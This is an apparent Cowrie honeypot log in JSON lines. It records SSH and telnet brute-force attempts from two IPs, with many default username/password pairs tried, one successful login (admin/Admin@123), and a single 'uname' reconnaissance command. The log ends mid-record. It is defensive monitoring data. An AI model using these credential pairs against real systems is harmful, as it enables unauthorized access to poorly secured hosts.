{"eventid":"cowrie.login.failed","username":"root","password":"Huawei@123","message":"login attempt [root/Huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:51.951108Z","src_ip":"192.109.200.78","session":"0c56e3a6a3db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.84070563316345,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:52.682661Z","src_ip":"206.189.71.75","session":"2cfebca3b0d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:53.036492Z","src_ip":"192.109.200.78","session":"0c56e3a6a3db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42354,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9ff7b52bb40","protocol":"ssh","message":"New connection: 192.109.200.78:42354 (10.17.0.5:22) [session: d9ff7b52bb40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:55.825758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:55.830958Z","src_ip":"192.109.200.78","session":"d9ff7b52bb40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:55.915985Z","src_ip":"192.109.200.78","session":"d9ff7b52bb40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"mc","message":"login attempt [minecraft/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:56.772722Z","src_ip":"192.109.200.78","session":"d9ff7b52bb40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:57.956969Z","src_ip":"192.109.200.78","session":"d9ff7b52bb40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35458,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7443cdacffe","protocol":"ssh","message":"New connection: 192.109.200.78:35458 (10.17.0.5:22) [session: c7443cdacffe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:59.889744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:59.893549Z","src_ip":"192.109.200.78","session":"c7443cdacffe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:59.975261Z","src_ip":"192.109.200.78","session":"c7443cdacffe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"splunk","password":"splunk","message":"login attempt [splunk/splunk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:00.443080Z","src_ip":"192.109.200.78","session":"c7443cdacffe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:01.532934Z","src_ip":"192.109.200.78","session":"c7443cdacffe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35468,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7b3240a94ee","protocol":"ssh","message":"New connection: 192.109.200.78:35468 (10.17.0.5:22) [session: d7b3240a94ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:04.139206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:04.145151Z","src_ip":"192.109.200.78","session":"d7b3240a94ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:04.236401Z","src_ip":"192.109.200.78","session":"d7b3240a94ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000000","message":"login attempt [root/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:04.493436Z","src_ip":"192.109.200.78","session":"d7b3240a94ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:05.871899Z","src_ip":"192.109.200.78","session":"d7b3240a94ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":36990,"dst_ip":"159.203.135.109","dst_port":23,"session":"44a11ac73c90","protocol":"telnet","message":"New connection: 206.189.71.75:36990 (159.203.135.109:23) [session: 44a11ac73c90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:07.749179Z"}
{"eventid":"cowrie.session.closed","duration":35.88514471054077,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:08.199644Z","src_ip":"206.189.71.75","session":"4f3e13dd80ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50652,"dst_ip":"10.17.0.5","dst_port":22,"session":"31b15fd18540","protocol":"ssh","message":"New connection: 192.109.200.78:50652 (10.17.0.5:22) [session: 31b15fd18540]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:08.426603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:08.432577Z","src_ip":"192.109.200.78","session":"31b15fd18540","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:08.530402Z","src_ip":"192.109.200.78","session":"31b15fd18540","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX","message":"login attempt [root/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:08.786647Z","src_ip":"192.109.200.78","session":"31b15fd18540","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:09.872499Z","src_ip":"192.109.200.78","session":"31b15fd18540","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50666,"dst_ip":"10.17.0.5","dst_port":22,"session":"496a419225df","protocol":"ssh","message":"New connection: 192.109.200.78:50666 (10.17.0.5:22) [session: 496a419225df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:12.469977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:12.476450Z","src_ip":"192.109.200.78","session":"496a419225df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:12.559108Z","src_ip":"192.109.200.78","session":"496a419225df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":41342,"dst_ip":"159.203.135.109","dst_port":23,"session":"244ddd99e069","protocol":"telnet","message":"New connection: 206.189.71.75:41342 (159.203.135.109:23) [session: 244ddd99e069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:12.608764Z"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba","message":"login attempt [dmdba/dmdba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:12.933878Z","src_ip":"192.109.200.78","session":"496a419225df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":42340,"dst_ip":"159.203.135.109","dst_port":23,"session":"292a38a006f2","protocol":"telnet","message":"New connection: 206.189.71.75:42340 (159.203.135.109:23) [session: 292a38a006f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:13.612440Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:14.018600Z","src_ip":"192.109.200.78","session":"496a419225df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.60757088661194,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:14.473193Z","src_ip":"206.189.71.75","session":"74d7443a7140","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":43298,"dst_ip":"159.203.135.109","dst_port":23,"session":"426504193ae4","protocol":"telnet","message":"New connection: 206.189.71.75:43298 (159.203.135.109:23) [session: 426504193ae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:14.695937Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":42058,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9decbd17137","protocol":"telnet","message":"New connection: 206.189.71.75:42058 (159.203.135.109:23) [session: e9decbd17137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:15.299834Z"}
{"eventid":"cowrie.session.closed","duration":34.68662428855896,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:15.716854Z","src_ip":"206.189.71.75","session":"6da14d8d2280","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.49347686767578,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:16.226000Z","src_ip":"206.189.71.75","session":"79027c74d261","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":42388,"dst_ip":"159.203.135.109","dst_port":23,"session":"645929b7aefc","protocol":"telnet","message":"New connection: 206.189.71.75:42388 (159.203.135.109:23) [session: 645929b7aefc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:16.653390Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50680,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8ef907fd35e","protocol":"ssh","message":"New connection: 192.109.200.78:50680 (10.17.0.5:22) [session: e8ef907fd35e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:16.694600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:16.704486Z","src_ip":"192.109.200.78","session":"e8ef907fd35e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:16.791222Z","src_ip":"192.109.200.78","session":"e8ef907fd35e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@123","message":"login attempt [admin/Admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:17.043503Z","src_ip":"192.109.200.78","session":"e8ef907fd35e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:17.260341Z","src_ip":"192.109.200.78","session":"e8ef907fd35e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:17.263899Z","src_ip":"192.109.200.78","session":"e8ef907fd35e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:17.354639Z","src_ip":"192.109.200.78","session":"e8ef907fd35e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:17.360363Z","src_ip":"192.109.200.78","session":"e8ef907fd35e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.579646825790405,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:18.196403Z","src_ip":"206.189.71.75","session":"42c236839740","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53846,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e7a3d4cc752","protocol":"ssh","message":"New connection: 192.109.200.78:53846 (10.17.0.5:22) [session: 5e7a3d4cc752]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:20.916709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:20.973651Z","src_ip":"192.109.200.78","session":"5e7a3d4cc752","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 